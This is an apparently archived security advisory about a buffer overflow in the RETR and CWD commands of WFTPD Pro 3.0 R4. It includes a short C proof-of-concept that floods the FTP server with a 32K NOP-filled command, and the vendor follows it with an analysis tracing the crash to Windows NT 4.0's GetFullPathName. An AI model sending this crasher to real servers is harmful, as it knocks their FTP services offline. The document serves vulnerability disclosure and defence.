COMMAND

    WFTPD

SYSTEMS AFFECTED

    WFTPD "Pro" 3.0 R4

PROBLEM

    Len Budney found following.   This started as WFTPD issue,  but it
    end up as  kernel issue.   I will to  summarize the historz  here.
    Len said following.

    The latest version of WFTPD is vulnerable to a buffer overflow  in
    the RETR and CWD commands.  The overflow can be used to completely
    disable  the  FTP  server,  and  can  probably be exploited to run
    arbitrary code on the server host.

    This problem was already reported  for version 3.0 R1 on  March 3,
    2001, and  the author  claimed that  he had  "fixed" the overflow.
    What he apparently  did was make  the buffers bigger;  now instead
    of ~500 characters overflowing the buffer, it takes ~32K instead.

    Similar buffer overflows  were reported on  September 5, 2000  for
    version 2.41 RC12, for version 2.40 on October 28, 1999.

    An  root  exploit  can  probably  be adapted from Alberto Solino's
    code.

    References:

        http://oliver.efri.hr/~crv/security/bugs/Others/wftpd14.html
        http://oliver.efri.hr/~crv/security/bugs/Others/wftpd12.html
        http://oliver.efri.hr/~crv/security/bugs/Others/wftpd3.html

    Exploit:

    /* WFTPD Pro 3.00 R4 Buffer Overflow exploit
       written by Len Budney
    */
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <errno.h>

    #define BUFSIZE 32774
    #define CMD "RETR "  /* Alt: use "CWD " and set OFFSET to 4. */
    #define OFFSET 5
    void main(){
            int sockfd, s;
	    struct sockaddr_in victim;
            char buffer[BUFSIZE];
            char exploitbuffer[BUFSIZE]={CMD};
            char recvbuffer[BUFSIZE];

            sockfd=socket(AF_INET,SOCK_STREAM,0); if(sockfd == -1)perror("socket");
            victim.sin_family=AF_INET;
            victim.sin_addr.s_addr=inet_addr("192.168.197.129");
            victim.sin_port=htons(21);
            s=connect(sockfd, (struct sockaddr*) &victim, sizeof(victim));
            if(s == -1) perror("connect");

            recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
            memset(recvbuffer, '\0',sizeof(recvbuffer));
            send(sockfd, "USER anonymous\r\n",strlen ("USER anonymous\r\n"),0);
            recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
            memset(recvbuffer, '\0',sizeof(recvbuffer));
            send(sockfd, "PASS\r\n",strlen ("PASS\r\n"),0);
            recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
            memset(recvbuffer, '\0',sizeof(recvbuffer));

            memset(exploitbuffer+OFFSET,0x90,sizeof (exploitbuffer)-OFFSET-2);
            sprintf(buffer,"%s\r\n",exploitbuffer);
            send(sockfd, buffer , sizeof(buffer),0);
            recv(sockfd, recvbuffer, sizeof (recvbuffer),0);

            close(sockfd);
	    _exit(0);
    }

    And then....

    Further analysis of  reports from a  customer's report of  similar
    behaviour  as  this  suggests  that  the  problem discovered by Mr
    Budney is not caused by WFTPD  Pro, but is an unchecked buffer  in
    the Windows NT 4.0  API function "GetFullPathName".   Windows 2000
    is clearly  immune -  and had  Mr Bundey's  original post included
    details of the  OS he was  running, we could  have found the  real
    culprit far quicker.

    Needless to  say, while  the bug  appears to  be in  the operating
    system  itself,   it's  clear   that  bracketing   the  call    to
    GetFullPathName  with  code  designed  to  prevent  the  bug  from
    appearing is  in order.   Once we  are sure  of the  full scope of
    this  bug,  we  shall  be  releasing  a  workaround  for  it,  and
    reporting the  full details  to this  list -  we can  be sure that
    other programs call  GetFullPathName, and some  may do so  in ways
    that can trigger this bug.

    As buffer  overflows so  often occur  in places  other than  where
    they appear, it's likely that until  we get down to a small  piece
    of code that  clearly shows the  problem, we can't  guarantee that
    this is the end of our  search.  It is still possible,  of course,
    that  something  else  is  responsible  for memory corruption that
    causes this overflow.

    In  the  interests  of  full  disclosure, Alun from Texas Imperial
    Software is letting you know what the current state of play is  on
    this problem.

    The following code is pulled from one of WFTPD functions:

        void ExpandRelativePath(char *to, const char *from)
        {
	        BOOL found=1;
	        // Relative path - let's see if GetFullPathName can expand it
	        LPTSTR lpFilePart;
	        if (from && !*from)
	        {
		        GetFullPathName("x",_MAX_PATH,to,&lpFilePart);
		        *lpFilePart=0;
	        }
	        else
	        {
	        // Scan for certain device names in the path, to disallow them.
		        if (IsDeviceNameInPath(from))
			        found=0;
		        else
		        {
			        DWORD fullen=GetFullPathName(from,_MAX_PATH,to,&lpFilePart);
        
        // directory does not exist, or is too long - abort.
			        if (fullen==0 || fullen>_MAX_PATH)
				        found=0;
		        }
	        }
	        if (!found)
		        *to=0;
        }

    It's the  second call  to GetFullPathName  that eventually results
    in a  GPF, within  the bowels  of NTDLL.DLL:RtlFreeHeap().   Since
    the  problem  appears  to  be  in  freeing the heap, their initial
    concern  was  to  see  if   the  heap  is  valid  before   calling
    GetFullPathName.    With   this   in   mind,   we   add   a   line
    "HeapValidate(GetProcessHeap(),0,0);"  before  the  second call to
    GetFullPathName().   Not  only  does  HeapValidate  indicate  that
    indeed the  heap is  valid, but  the mere  process of checking the
    heap for  validity avoids  the bug.   In fact,  merely checking if
    "from" is a  valid pointer, through  a call to  the "IsBadReadPtr"
    function, is enough to prevent the bug from occurring.

    A note is made in the Microsoft Knowledge Base that HeapValidate()
    may alter the manner in  which heap allocation is carried  out, in
    the same way as introducing a registry setting

        HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wftpd.exe\DisableHeapLookAside"

    as a string set to the value "1".  Applying this registry  change,
    however, does _not_ avoid the  occurrence of this bug, and  is not
    recommended.

    The  bug  shows  up  in  both  release and debug (i.e. no compiler
    optimisation) builds of WFTPD and  WFTPD Pro, on Windows NT  4, at
    least in SP3, SP4, and SP6a.  It does _not_ apparently show up  in
    Windows 2000, nor in  Windows 95, 98 or  ME.  Nor does  it show up
    if WFTPD or WFTPD Pro are  run under the Microsoft Visual C++  6.0
    debugger,  where  the  debug  output merely displays "First-chance
    exception in Wftpd.exe (NTDLL.DLL): 0xC0000005: Access Violation".
    [Note: the "first-chance exception" is where the debugger gets  to
    handle the exception  before the program.   The debugger, in  this
    case, gets to ignore the exception, and pass it on to the  program
    -  which,  apparently,  is  handling  it  when  running  under the
    debugger, but not handling it when running alone.]

SOLUTION

    At this stage, we  are mystified as to  the cause of this,  and as
    to the behaviour  it is currently  exhibiting.  Our  best guess is
    that there is a  subtle bug in the  memory handling of Windows  NT
    4.0, that does not exist on other platforms.   WFTPD shall shortly
    be  releasing  a  version  of  their  software that sidesteps such
    behaviour,  by  disallowing  this  long  parameter  at  an earlier
    stage.  However, this  is not a fix  we feel comfortable with,  as
    we are unable  to determine absolutely  that this memory  bug will
    not occur in other areas.